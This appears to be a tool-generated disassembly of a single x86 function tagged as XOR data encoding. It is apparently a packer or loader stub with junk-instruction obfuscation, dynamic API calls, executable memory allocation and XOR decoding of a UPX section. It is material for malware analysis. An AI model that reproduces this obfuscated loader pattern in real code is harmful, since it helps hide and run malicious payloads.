Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0xb84239b4
add esi, 0xa6e81a53
not eax
inc esi
popal
add esi, 0x1f58ae0
or esi, esi
and eax, esi
mov eax, 0
mov edi, ecx
or esi, esi
inc ebx
sub ebx, 0xaf1f3d73
mov edx, edi
add esi, ebx
mov ebx, 0x13529659
mov ebx, 0x58ba3d15
mov ecx, edx
add ebx, esi
not esi
inc eax
sub ebx, esi
sub ebx, esi
cmp eax, 0x100b146
jne 0xa789cb
mov ebx, esi
sub esi, 0x908a97d8
mov eax, 0x5a651745
sub esi, 1
not eax
mov esi, 0xa78796
mov eax, 0xd244ff3e
sub ecx, edi
mov ecx, 0x19e0dc7c
mov ebx, 0xa7898a
or eax, eax
mov ecx, eax
mov edx, dword [esi]
and edi, edi
sub ecx, edi
and edx, 0xff
add eax, ecx
and eax, ecx
mov eax, ecx
xor dword [ebx], edx
sub edi, eax
add edi, 0x694a75ba
mov edi, 0x3c785369
inc ebx
and eax, ecx
add ecx, eax
inc esi
sub eax, 0x203e59c5
sub ecx, eax
add edi, 0xf083915
cmp ebx, entry0
jl 0xa78a2a
sub ecx, eax
sub eax, 0xced14828
and ecx, edi
and eax, ecx
add ebx, edx
mov ebx, edx
sub ecx, edi
mov esi, 0xa7898e
and ecx, ecx
add ecx, ecx
mov esi, dword [esi]
mov edi, 0x6ecba69d
or ecx, edx
mov ecx, 0x4a21da81
mov esi, dword [esi]
mov ecx, 0x4ae02a41
sub ebx, 0x78fdc99f
push esi
mov edx, ebx
and edi, edx
not edi
mov esi, 0xa7898a
and edi, edi
mov ecx, 0x8cbbd0b9
add ebx, edi
mov esi, dword [esi]
and edi, ebx
dec ecx
add ebx, ecx
mov esi, dword [esi]
sub ebx, edx
not ebx
push 0xa78992
dec edi
and edi, edx
call esi
sub edi, 0xed73c294
not edx
mov ebx, edx
pop esi
not ebx
not ecx
not edi
push 0xa7899f
dec edi
mov edx, 0x74d1eb92
push eax
sub edx, 1
mov edi, 0xd3adf9d3
add ebx, 0xf8564f8
call esi
not ecx
sub ebx, edx
push 0x40
sub edi, 0x362905ba
sub edi, 0xb9c598d3
add ebx, ebx
push 0x3000
or ebx, ebx
add edi, 0x80da41d2
sub esp, 4
mov dword [esp], 0x20000bc7
and edi, ecx
sub edx, ebx
dec edx
sub esp, 4
mov dword [esp], 0
not edx
sub ebx, 0x160fbee0
call eax
not ebx
add ebx, edx
add eax, 0x20000b1f
dec ecx
add edx, ecx
mov esi, 0x2ef5d745
sub ecx, ebx
mov ebx, 0xcb8179e6
mov dword [eax], esi
mov ecx, edi
sub ebx, 1
mov esi, dword [eax]
dec edx
add edi, 0xb91537a
cmp esi, 0x2ef5d745
je 0xa78b7f
mov eax, 0
mov dword [eax], ecx
add edi, ecx
and edx, ecx
sub edi, 0xc010beb5
mov ecx, edx
dec esi
inc eax
mov ecx, section.UPX1
mov eax, esi
mov esi, eax
mov ebx, 0xa78795
not esi
dec eax
mov eax, esi
mov edi, 0
add esi, esi
add esi, 0xdc6cf370
add eax, 0x5c7ee4f0
mov edx, 0xa78796
mov eax, esi
or eax, esi
inc eax
lea edx, [edi + edx]
not eax
add eax, 0xde4a13bc
mov edx, dword [edx]
mov eax, 0xdfcc788a
dec esi
not esi
and edx, 0xff
inc eax
sub esi, 0x3e04a2b1
add edi, 1
not esi
or esi, esi
inc esi
cmp edi, 0x1f4
jne 0xa78bf7
mov edi, 0
sub esi, 0x64e75c35
sub eax, esi
not esi
add esi, esi
dec eax
add esi, eax
xor dword [ecx], edx
add esi, esi
sub esi, 0x5d5a1351
add ecx, 2
add eax, eax
sub eax, esi
cmp ecx, ebx
jl 0xa78bb3
dec esi
inc esi
sub eax, 1
and eax, esi
sub eax, 0xc2c9f8ee
dec eax
mov edx, section.UPX1
add ecx, 0xfa602023
add esi, 0xc564a637
mov eax, section.UPX1
sub esi, 1
sub esi, 0xaafa4673
add ecx, esi
mov edi, 0xa78795
or ecx, ecx
inc esi
add ecx, esi
mov ebx, 0
sub esi, 0x73f4fdab
mov esi, ecx
mov bl, byte [eax]
sub esi, ecx
dec esi
mov byte [edx], bl
add ecx, 0x871fc2c4
and ecx, ecx
add esi, 1
add edx, 1
and ecx, ecx
or esi, ecx
sub esi, ecx
add eax, 2
sub ecx, 0xc891d8fe
not esi
cmp eax, edi
jle 0xa78c6e
or ecx, esi
inc ecx
and eax, eax
not esi
mov esi, eax
push 0x8dc6a0
mov esi, eax
and esi, eax
add eax, 1
ret